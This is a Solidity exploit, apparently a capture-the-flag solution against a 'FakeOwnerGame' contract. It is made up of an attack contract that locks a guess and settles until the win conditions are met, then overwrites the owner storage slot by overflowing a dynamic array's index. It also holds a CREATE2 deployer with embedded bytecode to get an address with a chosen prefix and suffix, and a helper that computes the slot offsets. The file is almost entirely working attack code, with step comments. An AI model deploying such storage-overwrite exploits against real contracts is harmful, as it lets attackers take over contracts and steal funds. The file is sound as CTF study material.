1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77
| pragma solidity 0.6.12; // pay attention to the compiler's version! // CREATE2 doesn't in low version, it was added in 0.5.0
interface IFakeOwnerGame{ function revise(uint idx, bytes32 tmp)external; function lockInGuess(uint8 n) external payable; function settle() external; function payforflag()external; }
contract attack{ IFakeOwnerGame public level; // 3.set the instance function step01_setAddr(address _level) public { level = IFakeOwnerGame(_level); } // 4.lock a number: 0, with 1 ether function step02_setGuess(uint8 _x) public payable{ level.lockInGuess.value(1 ether)(_x); } // 5.call this func until BalanceOf equals to 2000 and WinCount equals to 2 function step03_settleUntil2Points()public{ level.settle(); } // 6.cal the _slot and call it with _value(your address) // _slot = 0xfc949c7b4a13586e39d89eead2f38644f9fb3efb5a0490b14f8fc0ceab44c256(need) // _value = 0x000000000000000000000000FFCf0a1D3705222F984f0Df3b220A8C70162e061(be the owner) function step04_modifyOwnerSlot(uint256 _slot,bytes32 _value)public{ level.revise(_slot,_value); } // 7.successfully function step05_complete()public{ level.payforflag(); } } contract deployer{ // 0.pay attention to the compiler's version! // CREATE2 doesn't in low version, it was added in 0.5.0
// 2.deploy and get a specify contract: prefix:'ff' and suffix:'61' bytes attackByteCode = hex"608060405234801561001057600080fd5b50610462806100206000396000f3fe6080604052600436106100555760003560e01c806309773e951461005a57806363ab9a14146100ab5780636fd5ae15146100c2578063883b274a14610103578063dd9fbd9014610148578063f2b0f8191461015f575b600080fd5b34801561006657600080fd5b506100a96004803603602081101561007d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610190565b005b3480156100b757600080fd5b506100c06101d3565b005b3480156100ce57600080fd5b506100d7610255565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561010f57600080fd5b506101466004803603604081101561012657600080fd5b810190808035906020019092919080359060200190929190505050610279565b005b34801561015457600080fd5b5061015d610310565b005b61018e6004803603602081101561017557600080fd5b81019080803560ff169060200190929190505050610392565b005b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166380e10aa56040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561023b57600080fd5b505af115801561024f573d6000803e3d6000fd5b50505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630339f30083836040518363ffffffff1660e01b81526004018083815260200182815260200192505050600060405180830381600087803b1580156102f457600080fd5b505af1158015610308573d6000803e3d6000fd5b505050505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166311da60b46040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561037857600080fd5b505af115801561038c573d6000803e3d6000fd5b50505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632c0e0054670de0b6b3a7640000836040518363ffffffff1660e01b8152600401808260ff1681526020019150506000604051808303818588803b15801561041057600080fd5b505af1158015610424573d6000803e3d6000fd5b50505050505056fea2646970667358221220109dc61c8e70cdbf2515f6335b5a74d40e28d5f1c8e49489d784b1d0956d28f664736f6c634300060c0033"; function deploy(bytes32 _salt) public returns(address){ bytes memory bytecode = attackByteCode; address addr; assembly { addr := create2(0, add(bytecode, 0x20), mload(bytecode), _salt) } return addr; } // 1.get the hash and cal the salt function getHash()public view returns(bytes32){ return keccak256(attackByteCode); } } contract cal{ // codex's element: keccak256(5) // result: 0x036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db0 function getDyArr(uint256 x) public pure returns(bytes32){ return keccak256(abi.encode(x)); }
// cal the codex's length that we need to overlap the slot 6(owner) function lengthNeed() public pure returns(uint256){ uint256 DyArrBegin = uint256(getDyArr(5)); uint256 slot = 6; uint256 lengthNeed = type(uint256).max - DyArrBegin +slot + 1; return lengthNeed; // need= 114245411204874937970903528273105092893277201882823832116766311725579567940182 // need= 0xfc949c7b4a13586e39d89eead2f38644f9fb3efb5a0490b14f8fc0ceab44c256 // so the length we modify should greater than 'need', we can make the length whose prefix is 'ff' // of course, the suffix must be 61. ====> CREATE2======>so the slot 5(codex) can be this: // length=115705583536238263701547016040993257322946596763381008814291318654012181268882 // length=0xffcf0a1d3705222f984f0df3b220a8c70162e061a66cc928b5edb82af9bd4992 // (length > need) ===> enough } }
|